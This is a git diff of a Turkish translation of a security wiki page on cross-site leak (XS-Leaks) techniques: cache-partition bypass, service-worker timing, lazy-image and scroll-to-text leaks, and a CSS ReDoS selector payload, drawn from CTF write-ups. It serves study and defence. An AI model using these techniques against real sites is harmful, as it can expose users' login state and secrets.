- Yeni açılan penceredeki navigasyon olaylarını izlemek, bir dosya indirmenin tetiklenip tetiklenmediğini (navigasyon yok) veya içeriğin satır içi olarak görüntülenip görüntülenmediğini (navigasyon gerçekleşir) ortaya çıkarabilir.
|
||||
|
||||
Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler, indirme isteğine tarayıcının yanıtına dayanarak kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarabilir.
|
||||
Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarım yapmak için kullanılabilir.
|
||||
|
||||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
|
||||
@ -767,12 +767,12 @@ Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği s
|
||||
|
||||
> [!WARNING]
|
||||
> Bu tekniğin ilginç olmasının nedeni: Chrome artık **önbellek bölümlendirmesi** yapıyor ve yeni açılan sayfanın önbellek anahtarı: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`; ancak bir ngrok sayfası açıp içinde fetch kullanırsam, önbellek anahtarı: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)` olacaktır; **önbellek anahtarı farklıdır**, bu nedenle önbellek paylaşılmaz. Daha fazla ayrıntıyı burada bulabilirsiniz: [Önbelleği bölümlendirerek güvenlik ve gizlilik kazanma](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> ([**Buradan**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) yapılan yorum)
|
||||
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Eğer bir site `example.com`, `*.example.com/resource` adresinden bir kaynak içeriyorsa, o kaynak, doğrudan **üst düzey navigasyon** ile talep edilmiş gibi **aynı önbellek anahtarına** sahip olacaktır. Çünkü önbellek anahtarı, üst düzey _eTLD+1_ ve çerçeve _eTLD+1_'den oluşur.
|
||||
Eğer bir site `example.com`, `*.example.com/resource` adresinden bir kaynak içeriyorsa, o kaynak, kaynağın doğrudan **üst düzey navigasyon** ile talep edilmiş gibi **aynı önbellek anahtarına** sahip olacaktır. Çünkü önbellek anahtarı, üst düzey _eTLD+1_ ve çerçeve _eTLD+1_'den oluşur.
|
||||
|
||||
Önbelleğe erişim, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.\
|
||||
Ya da sadece **önbelleğe alınmış sayfaya bazı fetch istekleri gönderip geçen süreyi ölçebilirsiniz**.
|
||||
Önbelleğe erişim, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan sonra 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.\
|
||||
Ya da sadece **potansiyel olarak önbelleğe alınmış sayfaya bazı fetch'ler gönderip geçen süreyi ölçebilirsiniz**.
|
||||
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
@ -799,7 +799,7 @@ _**fetch**_ ve _**setTimeout**_ kullanarak bir **AbortController** ile hem **kay
|
||||
- **Inclusion Methods**: HTML Elemanları (script)
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** **Yerleşik fonksiyonları** **aşmak** ve bunların argümanlarını okumak mümkündür; bu, **çapraz kökenli script**'ten (doğrudan okunamaz) bile, bu değerli bilgilerin **sızdırılmasına** neden olabilir.
|
||||
- **Summary:** Yerleşik fonksiyonları **geçersiz kılmak** ve bunların argümanlarını okumak mümkündür; bu, **çapraz kökenli script**'ten (doğrudan okunamaz) bile olabilir; bu, **değerli bilgiler sızdırabilir**.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -810,12 +810,12 @@ _**fetch**_ ve _**setTimeout**_ kullanarak bir **AbortController** ile hem **kay
|
||||
- **Summary:** Service worker kullanarak bir webin yürütme süresini ölçün.
|
||||
- **Code Example**:
|
||||
|
||||
Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içinde bir **service worker** kaydetme girişiminde bulunur. Ardından, saldırgan ana belgeden hedef web sitesinde yeni bir pencere açar ve **service worker**'a bir zamanlayıcı başlatmasını talimatını verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı **service worker** tarafından yönetilen bir sayfaya yönlendirir.
|
||||
Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içinde bir **service worker** kaydetme girişiminde bulunur. Ardından, saldırgan ana belgede hedef web sitesinde yeni bir pencere açar ve **service worker**'a bir zamanlayıcı başlatmasını talimatını verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı **service worker** tarafından yönetilen bir sayfaya yönlendirir.
|
||||
|
||||
Önceki adımda başlatılan isteğin varışında, **service worker** **204 (No Content)** durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, **service worker** daha önce başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, JavaScript'in navigasyon sürecinde neden olduğu gecikmelerin süresinden etkilenir.
|
||||
Önceki adımda başlatılan isteğin varışında, **service worker** **204 (No Content)** durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, **service worker** daha önce ikinci adımda başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, navigasyon sürecinde gecikmelere neden olan JavaScript'in süresinden etkilenir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir yürütme zamanlamasında, **daha kesin ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce sayfanın kullandığı kaynakları yükleyerek.
|
||||
> Bir yürütme zamanlamasında, **ağ faktörlerini** ortadan kaldırmak mümkündür; böylece **daha hassas ölçümler** elde edilebilir. Örneğin, sayfa yüklenmeden önce sayfanın kullandığı kaynakları yükleyerek.
|
||||
|
||||
### Fetch Timing
|
||||
|
||||
@ -835,7 +835,7 @@ Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içi
|
||||
|
||||
## With HTML or Re Injection
|
||||
|
||||
Burada, **HTML içeriği enjekte ederek** çapraz kökenli bilgileri dışa aktarma tekniklerini bulabilirsiniz. Bu teknikler, herhangi bir nedenle **HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız** ilginçtir.
|
||||
Burada, çapraz kökenli HTML'den bilgi sızdırma tekniklerini bulabilirsiniz; **HTML içeriği enjekte etme**. Bu teknikler, herhangi bir nedenle **HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız** ilginçtir.
|
||||
|
||||
### Dangling Markup
|
||||
|
||||
@ -845,15 +845,15 @@ dangling-markup-html-scriptless-injection/
|
||||
|
||||
### Image Lazy Loading
|
||||
|
||||
Eğer **içeriği dışa aktarmanız** gerekiyorsa ve **sırrın öncesine HTML ekleyebiliyorsanız**, **yaygın dangling markup tekniklerini** kontrol etmelisiniz.\
|
||||
Ancak, herhangi bir nedenle **her bir karakteri** (belki iletişim bir önbellek vuruşu ile) yapmanız **GEREKİYORSA**, bu hileyi kullanabilirsiniz.
|
||||
Eğer **içerik sızdırmanız** gerekiyorsa ve **gizli olanın öncesine HTML ekleyebiliyorsanız**, **yaygın dangling markup tekniklerini** kontrol etmelisiniz.\
|
||||
Ancak, herhangi bir nedenle **her karakteri** (belki iletişim bir önbellek vuruşu ile) yapmanız **GEREKİYORSA**, bu hileyi kullanabilirsiniz.
|
||||
|
||||
HTML'deki **resimler**, değeri "**lazy**" olan bir "**loading**" niteliğine sahiptir. Bu durumda, resim, sayfa yüklenirken değil, görüntülendiğinde yüklenecektir:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Bu nedenle, yapabileceğiniz şey **birçok gereksiz karakter eklemek** (örneğin **binlerce "W"**) ve **sayfayı gizli bilgiden önce doldurmak veya şuna benzer bir şey eklemek** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Örneğin, **enjekte etmemiz bayraktan önce görünüyorsa**, **görüntü** **yüklenir**, ancak **bayraktan sonra** görünüyorsa, bayrak + gereksiz karakter **yüklenmesini engelleyecektir** (ne kadar gereksiz karakter ekleyeceğinizle oynamanız gerekecek). Bu, [**bu yazıda**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) olan şeydir.
|
||||
Örneğin, eğer **enjeksiyonumuz bayraktan önce görünüyorsa**, **görüntü** **yüklenir**, ancak **bayraktan sonra** görünüyorsa, bayrak + gereksiz karakter **yüklenmesini engelleyecektir** (ne kadar gereksiz karakter ekleyeceğinizle oynamanız gerekecek). Bu, [**bu yazıda**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) olan şeydir.
|
||||
|
||||
Başka bir seçenek, **scroll-to-text-fragment** kullanmak olabilir, eğer izin verilirse:
|
||||
|
||||
@ -887,7 +887,7 @@ regular-expression-denial-of-service-redos.md
|
||||
|
||||
### CSS ReDoS
|
||||
|
||||
Eğer `jQuery(location.hash)` kullanılıyorsa, zamanlama yoluyla **bazı HTML içeriğinin var olup olmadığını** bulmak mümkündür, çünkü eğer `main[id='site-main']` seçici eşleşmezse, geri kalan **seçicileri** kontrol etmesine gerek yoktur:
|
||||
Eğer `jQuery(location.hash)` kullanılıyorsa, zamanlama yoluyla **bazı HTML içeriğinin var olup olmadığını** bulmak mümkündür, çünkü eğer `main[id='site-main']` seçici eşleşmiyorsa, geri kalan **seçicileri** kontrol etmesine gerek yoktur:
|
||||
```javascript
|
||||
$(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user